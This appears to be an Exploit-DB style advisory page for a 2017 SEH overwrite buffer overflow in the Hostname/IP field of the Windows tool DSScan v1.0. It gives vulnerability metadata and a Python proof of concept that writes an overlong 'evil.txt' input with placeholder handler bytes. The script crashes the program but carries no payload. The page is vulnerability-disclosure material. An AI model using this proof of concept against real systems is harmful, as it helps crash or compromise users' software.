DSScan v1.0 Hostname/IP Field SEH Overwrite POC

vendor:

DSScan

by:

Anurag Srivastava

7,8

CVSS

HIGH

SEH Overwrite POC

119

CWE

Product Name: DSScan

Affected Version From: 1.00

Affected Version To: 1.00

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10 Home x64

2017

DSScan v1.0 Hostname/IP Field SEH Overwrite POC

A buffer overflow vulnerability exists in DSScan v1.0 Hostname/IP Field, which allows an attacker to overwrite the SEH frame and execute arbitrary code. The vulnerability is caused due to a boundary error when handling user-supplied input. By sending a specially crafted request, an attacker can cause a stack-based buffer overflow, overwriting the SEH frame and executing arbitrary code.

Mitigation:

Upgrade to the latest version of DSScan v1.0

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : DSScan v1.0 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Website	    : http://pyramidcyber.com/
# Discovery Date    : 18/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 10 Home x64 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0019F900   43434343
#42424242   *** CORRUPT ENTRY ***

 
# Offset to the SEH Frame is 560
buffer = "A"*560
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()